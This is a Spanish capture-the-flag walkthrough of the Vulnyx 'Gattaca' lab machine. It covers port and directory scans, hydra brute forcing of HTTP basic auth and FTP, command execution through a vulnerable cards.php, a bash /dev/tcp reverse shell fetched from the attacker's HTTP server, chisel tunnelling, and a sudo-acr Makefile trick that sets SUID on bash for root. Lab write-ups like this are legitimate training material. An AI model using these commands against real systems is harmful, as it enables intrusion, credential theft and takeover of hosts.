Gattaca es una de las maquinas existentes actualmente en la plataforma de hacking Vulnyx y es de dificultad Hard.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la ip que tiene la maquina a vulnerar, que en mi caso será la 192.168.0.114
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.114 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-11 23:18 CEST Initiating ARP Ping Scan at 23:18 Scanning 192.168.0.114 [1 port] Completed ARP Ping Scan at 23:18, 0.07s elapsed (1 total hosts) Initiating SYN Stealth Scan at 23:18 Scanning 192.168.0.114 [65535 ports] Discovered open port 80/tcp on 192.168.0.114 Completed SYN Stealth Scan at 23:18, 2.18s elapsed (65535 total ports) Nmap scan report for 192.168.0.114 Host is up, received arp-response (0.00081s latency). Scanned at 2024-05-11 23:18:40 CEST for 3s Not shown: 65533 closed tcp ports (reset), 1 filtered tcp port (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:E8:A1:F0 (Oracle VirtualBox virtual NIC) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 2.40 seconds Raw packets sent: 65537 (2.884MB) | Rcvd: 65535 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sCV -p80 192.168.0.114 Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-11 23:20 CEST Nmap scan report for gat3.lan (192.168.0.114) Host is up (0.00051s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-title: Gattaca |_http-server-header: Apache/2.4.57 (Debian) MAC Address: 08:00:27:E8:A1:F0 (Oracle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.90 seconds |
Usamos feroxbuster para escanear posibles archivo y carpetas
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
└─$ feroxbuster --url http://192.168.0.114 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.1 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.0.114 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.1 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php, txt, html] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 403 GET 9l 28w 278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 9l 31w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 5l 22w 814c http://192.168.0.114/images/icons/about.png 200 GET 5l 21w 1373c http://192.168.0.114/images/icons/contact-hover.png 301 GET 9l 28w 315c http://192.168.0.114/images => http://192.168.0.114/images/ 200 GET 14l 71w 4973c http://192.168.0.114/images/sep-line.png 301 GET 9l 28w 312c http://192.168.0.114/css => http://192.168.0.114/css/ 200 GET 843l 1704w 16242c http://192.168.0.114/css/style.css 200 GET 368l 876w 7781c http://192.168.0.114/css/magnific-popup.css 200 GET 27l 47w 453c http://192.168.0.114/css/scrolling-nav.css 200 GET 227l 442w 4236c http://192.168.0.114/css/responsive.css 200 GET 6l 1432w 121260c http://192.168.0.114/css/bootstrap.min.css 301 GET 9l 28w 311c http://192.168.0.114/js => http://192.168.0.114/js/ 200 GET 7l 435w 36868c http://192.168.0.114/js/bootstrap.min.js 200 GET 2l 158w 6784c http://192.168.0.114/js/instafeed.min.js 200 GET 32l 52w 642c http://192.168.0.114/js/custom.js 200 GET 4l 224w 20933c http://192.168.0.114/js/jquery.magnific-popup.min.js 200 GET 102l 632w 50722c http://192.168.0.114/images/card.jpg 200 GET 82l 284w 4373c http://192.168.0.114/about.html 200 GET 2648l 21009w 1777791c http://192.168.0.114/images/wallpapergattaca.jpeg 200 GET 71l 178w 3143c http://192.168.0.114/index.html 200 GET 6l 15w 856c http://192.168.0.114/images/icons/contact.png 200 GET 7l 30w 1537c http://192.168.0.114/images/icons/home-hover.png 401 GET 14l 54w 460c http://192.168.0.114/cards.php 200 GET 3l 19w 973c http://192.168.0.114/images/icons/about-hover.png 200 GET 6l 19w 816c http://192.168.0.114/images/icons/portfolio.png 200 GET 3l 14w 957c http://192.168.0.114/images/icons/home.png 200 GET 4l 13w 990c http://192.168.0.114/images/icons/portfolio-hover.png 200 GET 170l 80w 31492c http://192.168.0.114/images/favicon.png 301 GET 9l 28w 314c http://192.168.0.114/cards => http://192.168.0.114/cards/ 200 GET 0l 0w 0c http://192.168.0.114/cards/guanine.txt 200 GET 0l 0w 0c http://192.168.0.114/cards/adenine.txt 200 GET 0l 0w 0c http://192.168.0.114/cards/thymine.txt 200 GET 5l 1413w 95957c http://192.168.0.114/js/jquery.min.js 200 GET 71l 178w 3143c http://192.168.0.114/ |
Vamos viendo que tenemos en el puerto 80

Tal y como habíamos visto, tenemos un archivo cards.php, la cual la visitamos pero tenemos un basic auth en el cual no podemos entrar con usuario:contraseña comunes

También tenemos una carpeta llamada cards con 4 fichero sin datos.

Sin ver nada mas que mirar, usaremos hydra para tirar fuerza bruta sobre cards.php
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
┌──(kali㉿kali)-[~] └─$ hydra -C Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt http-get://192.168.0.114/cards.php -VI -f Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-10 16:34:16 [DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries, ~5 tries per task [DATA] attacking http-get://192.168.0.114:80/cards.php [ATTEMPT] target 192.168.0.114 - login "anonymous" - pass "anonymous" - 1 of 66 [child 0] (0/0) [ATTEMPT] target 192.168.0.114 - login "root" - pass "rootpasswd" - 2 of 66 [child 1] (0/0) [ATTEMPT] target 192.168.0.114 - login "root" - pass "12hrs37" - 3 of 66 [child 2] (0/0) [ATTEMPT] target 192.168.0.114 - login "ftp" - pass "b1uRR3" - 4 of 66 [child 3] (0/0) [ATTEMPT] target 192.168.0.114 - login "admin" - pass "admin" - 5 of 66 [child 4] (0/0) [ATTEMPT] target 192.168.0.114 - login "localadmin" - pass "localadmin" - 6 of 66 [child 5] (0/0) [ATTEMPT] target 192.168.0.114 - login "admin" - pass "1234" - 7 of 66 [child 6] (0/0) [ATTEMPT] target 192.168.0.114 - login "apc" - pass "apc" - 8 of 66 [child 7] (0/0) [ATTEMPT] target 192.168.0.114 - login "admin" - pass "nas" - 9 of 66 [child 8] (0/0) [ATTEMPT] target 192.168.0.114 - login "Root" - pass "wago" - 10 of 66 [child 9] (0/0) [ATTEMPT] target 192.168.0.114 - login "Admin" - pass "wago" - 11 of 66 [child 10] (0/0) [ATTEMPT] target 192.168.0.114 - login "User" - pass "user" - 12 of 66 [child 11] (0/0) [ATTEMPT] target 192.168.0.114 - login "Guest" - pass "guest" - 13 of 66 [child 12] (0/0) [ATTEMPT] target 192.168.0.114 - login "ftp" - pass "ftp" - 14 of 66 [child 13] (0/0) [ATTEMPT] target 192.168.0.114 - login "admin" - pass "password" - 15 of 66 [child 14] (0/0) [ATTEMPT] target 192.168.0.114 - login "a" - pass "avery" - 16 of 66 [child 15] (0/0) [ATTEMPT] target 192.168.0.114 - login "admin" - pass "123456" - 17 of 66 [child 1] (0/0) [ATTEMPT] target 192.168.0.114 - login "adtec" - pass "none" - 18 of 66 [child 3] (0/0) [ATTEMPT] target 192.168.0.114 - login "admin" - pass "admin12345" - 19 of 66 [child 4] (0/0) [ATTEMPT] target 192.168.0.114 - login "none" - pass "dpstelecom" - 20 of 66 [child 5] (0/0) [ATTEMPT] target 192.168.0.114 - login "instrument" - pass "instrument" - 21 of 66 [child 7] (0/0) [ATTEMPT] target 192.168.0.114 - login "user" - pass "password" - 22 of 66 [child 9] (0/0) [ATTEMPT] target 192.168.0.114 - login "root" - pass "password" - 23 of 66 [child 11] (0/0) [ATTEMPT] target 192.168.0.114 - login "default" - pass "default" - 24 of 66 [child 12] (0/0) [ATTEMPT] target 192.168.0.114 - login "admin" - pass "default" - 25 of 66 [child 2] (0/0) [ATTEMPT] target 192.168.0.114 - login "nmt" - pass "1234" - 26 of 66 [child 13] (0/0) [ATTEMPT] target 192.168.0.114 - login "admin" - pass "Janitza" - 27 of 66 [child 6] (0/0) [ATTEMPT] target 192.168.0.114 - login "supervisor" - pass "supervisor" - 28 of 66 [child 0] (0/0) [ATTEMPT] target 192.168.0.114 - login "user1" - pass "pass1" - 29 of 66 [child 1] (0/0) [ATTEMPT] target 192.168.0.114 - login "avery" - pass "avery" - 30 of 66 [child 3] (0/0) [ATTEMPT] target 192.168.0.114 - login "IEIeMerge" - pass "eMerge" - 31 of 66 [child 8] (0/0) [ATTEMPT] target 192.168.0.114 - login "ADMIN" - pass "12345" - 32 of 66 [child 10] (0/0) [ATTEMPT] target 192.168.0.114 - login "beijer" - pass "beijer" - 33 of 66 [child 14] (0/0) [ATTEMPT] target 192.168.0.114 - login "Admin" - pass "admin" - 34 of 66 [child 15] (0/0) [80][http-get] host: 192.168.0.114 login: admin password: admin12345 [STATUS] attack finished for 192.168.0.114 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-10 16:34:16 |
Entramos y vemos el siguiente contenido

Así que tras poner una carta como adenine.txt y no ver nada, pensamos en un posible LFI pero parece ser que hay algún tipo de blacklist

Y si miramos la propia pagina cards.php? Quizás podamos así ver el código

Lo que estamos viendo es que el fichero se lee a través del binario cat y también existe una blacklist PERO siempre y cuando sea por petición POST así que mandaremos por get

Si esto lo hemos podido ejecutar con el shell_exec , significa que tenemos RCE como podemos ver a continuación

Por otro lado, vamos a ver también que procesos están corriendo en el servidor
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
┌──(kali㉿kali)-[~] └─$ for i in {1..1000};do curl -su "admin:admin12345" "192.168.0.114/cards.php?filename=/proc/$i/cmdline" --output $i ;cat $i|grep -a guanine | cut -d ">" -f9;done 2> /dev/null /sbin/init /lib/systemd/systemd-journald /lib/systemd/systemd-udevd /usr/sbin/cron-f /usr/bin/dbus-daemon--system--address=systemd:--nofork--nopidfile--systemd-activation--syslog-only /lib/systemd/systemd-logind dhclient-4-v-i-pf/run/dhclient.enp0s3.pid-lf/var/lib/dhcp/dhclient.enp0s3.leases-I-df/var/lib/dhcp/dhclient6.enp0s3.leasesenp0s3 /usr/sbin/vsftpd/etc/vsftpd.conf /sbin/agetty-o-p -- \u--noclear-linux /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /sbin/init /lib/systemd/systemd-journald /lib/systemd/systemd-udevd /usr/sbin/cron-f /usr/bin/dbus-daemon--system--address=systemd:--nofork--nopidfile--systemd-activation--syslog-only /lib/systemd/systemd-logind dhclient-4-v-i-pf/run/dhclient.enp0s3.pid-lf/var/lib/dhcp/dhclient.enp0s3.leases-I-df/var/lib/dhcp/dhclient6.enp0s3.leasesenp0s3 /usr/sbin/vsftpd/etc/vsftpd.conf /sbin/agetty-o-p -- \u--noclear-linux /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart /usr/sbin/apache2-kstart |
Teniendo RCE, nos vamos a tirar una reverse shell, primero levantamos un python http sirviendo un fichero llamado s, un netcat y lanzamos nuestra petición por burpsuite.
|
1 2 3 4 5 6 7 8 9 |
└─$ cat s /bin/bash -i >& /dev/tcp/192.168.0.160/1234 0>&1 └─$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... ┌──(kali㉿kali)-[~] └─$ nc -vnlp 1234 listening on [any] 1234 ... |
Lanzamos la petición http

Y estamos dentro como www-data
|
1 2 3 4 5 6 7 |
┌──(kali㉿kali)-[~] └─$ nc -vnlp 1235 listening on [any] 1235 ... connect to [192.168.0.160] from (UNKNOWN) [192.168.0.114] 59502 bash: cannot set terminal process group (530): Inappropriate ioctl for device bash: no job control in this shell www-data@gattaca:/var/www/gattaca$ |
Si vamos al directorio anterior, vemos un archivo llamado ftppolicy.txt, el cual tiene la siguiente información:
|
1 2 3 4 5 6 7 8 9 10 |
www-data@gattaca:/var/www$ cat ftppolicy.txt ** IMPORTANT ** Remember, when changing your password it must contain these requirements: 1. Must be 8 characters or longer 2. Must contain numbers 3. Must contain special characters Don't waste time with v.freeman and rockyou.txt |
Esto nos viene a decir, que nuestro objetivo ha de ser i.cassini y no nos valdrá de nada el diccionario rockyou.txt, después de muchas vueltas y vueltas, creando diccionarios, pensamos en una herramienta llamada cupp en la cual, la aplicación te hace una serie de preguntas a través de las cuales te crea el diccionario.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
┌──(kali㉿kali)-[~/cupp] └─$ python cupp.py -i ___________ cupp.py! # Common \ # User \ ,__, # Passwords \ (oo)____ # Profiler (__) )\ ||--|| * [ Muris Kurgas | j0rgan@remote-exploit.org ] [ Mebus | https://github.com/Mebus/] [+] Insert the information about the victim to make a dictionary [+] If you don't know all the info, just hit enter when asked! ;) > First Name: irene > Surname: cassini > Nickname: i.cassini > Birthdate (DDMMYYYY): > Partners) name: > Partners) nickname: > Partners) birthdate (DDMMYYYY): > Child's name: > Child's nickname: > Child's birthdate (DDMMYYYY): > Pet's name: > Company name: gattaca > Do you want to add some key words about the victim? Y/[N]: n > Do you want to add special chars at the end of words? Y/[N]: y > Do you want to add some random numbers at the end of words? Y/[N]:y > Leet mode? (i.e. leet = 1337) Y/[N]: y [+] Now making a dictionary... [+] Sorting list and removing duplicates... [+] Saving dictionary to irene.txt, counting 7964 words. > Hyperspeed Print? (Y/n) : n [+] Now load your pistolero with irene.txt and shoot! Good luck! |
Tal y como decía el nombre del fichero, debería de ser la autenticación contra el servidor ftp así que para ganar tiempo mientras usamos otras herramientas a la par, usaremos chisel + hydra para traernos el puerto que solo esta en escucha de manera local ( De hecho se comprueba que utilizando la herramienta suForce , pasa de la correcta )
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
┌──(kali㉿kali)-[~] └─$ ./chisel_1.7.4_linux_amd64 server -p 1234 --reverse 2024/05/11 19:41:42 server: Reverse tunnelling enabled 2024/05/11 19:41:42 server: Fingerprint NgE61jPQG6qA79r1t0on6HAuNMID+wt/VRPuZYQmDyk= 2024/05/11 19:41:42 server: Listening on http://0.0.0.0:1234 2024/05/11 19:41:44 server: session#1: tun: proxy#R:21=>21: Listening www-data@gattaca:/var/www$ ./chisel_1.7.4_linux_amd64 client 192.168.0.160:1234 R:21:127.0.0.1:21 2024/05/11 17:12:51 client: Connecting to ws://192.168.0.160:1234 2024/05/11 17:12:51 client: Connected (Latency 2.404845ms) ┌──(kali㉿kali)-[~] └─$ hydra -l i.cassini -P ~/username-anarchy/cupp/irene.txt 127.0.0.1 ftp -VI -f -t 64 Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-11 20:07:01 [DATA] max 64 tasks per 1 server, overall 64 tasks, 7964 login tries (l:1/p:7964), ~125 tries per task [DATA] attacking ftp://127.0.0.1:21/ [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "!'#''#'" - 1 of 7964 [child 0] (0/0 [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!&'#'" - 301 of 7978 [child 10] (0/14) [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!&*" - 302 of 7978 [child 15] (0/14) [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!&@" - 303 of 7978 [child 18] (0/14) [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!'#'" - 304 of 7978 [child 24] (0/14) [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!'#'!" - 305 of 7978 [child 25] (0/14) [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!'#'$" - 306 of 7978 [child 28] (0/14) [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!'#'%" - 307 of 7978 [child 36] (0/14) [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!'#'&" - 308 of 7978 [child 46] (0/14) [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!'#'*" - 309 of 7978 [child 62] (0/14) [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!'#'@" - 310 of 7978 [child 13] (0/14) [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!*" - 311 of 7978 [child 21] (0/14) [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!*!" - 312 of 7978 [child 30] (0/14) [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!*$" - 313 of 7978 [child 42] (0/14) [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!*%" - 314 of 7978 [child 50] (0/14) [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!*&" - 315 of 7978 [child 59] (0/14) [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!*'#'" - 316 of 7978 [child 0] (0/14) [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!**" - 317 of 7978 [child 20] (0/14) [ATTEMPT] target 127.0.0.1 - login "i.cassini" - pass "1r3n3!*@" - 318 of 7978 [child 29] (0/14) [21][ftp] host: 127.0.0.1 login: i.cassini password: 1r3n3!$% [STATUS] attack finished for 127.0.0.1 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-11 20:07:28 |
Ahora que ya sabemos la contraseña de i.cassini, escalamos a su usuario y vemos que podemos ejecutar el binario acr como root
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
www-data@gattaca:/var/www/gattaca$ su i.cassini Password: i.cassini@gattaca:/var/www/gattaca$ sudo -l i.cassini@gattaca:~$ sudo -l Matching Defaults entries for i.cassini on gattaca: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User i.cassini may run the following commands on gattaca: (ALL : ALL) NOPASSWD: /usr/bin/acr |
Leyendo el man del binario, lo básico para poder ver la flag de root aunque de error, será con la flag -d
|
1 2 3 4 5 6 7 8 |
i.cassini@gattaca:~$ sudo /usr/bin/acr -d /root/root.txt acr: parsing '/root/root.txt' 0001 | bd1061ef36aca528a49f69c00f1feb66 | env bd1061ef36aca528a49f69c00f1feb66 0003 | NOP 0003 | Invalid operator 'NOP' in assignment. acr: error handled by acr. i.cassini@gattaca:~$ |
Hablando con J4ckie0x17, comenta que la forma de escalar a root es la siguiente
|
1 2 3 4 5 6 7 8 9 10 |
i.cassini@gattaca:~$ touch Makefile && chmod +x Makefile i.cassini@gattaca:~$ echo "chmod 4777 /bin/bash" > Makefile i.cassini@gattaca:~$ sudo /usr/bin/acr -r Makefile error: this is not an acr generated configure script. i.cassini@gattaca:~$ bash -p bash-5.2# cd bash-5.2# whoami;hostname;cut -c 1-5 root.txt root gattaca bd106 |
Hasta aquí la maquina Gattaca de la plataforma Vulnyx







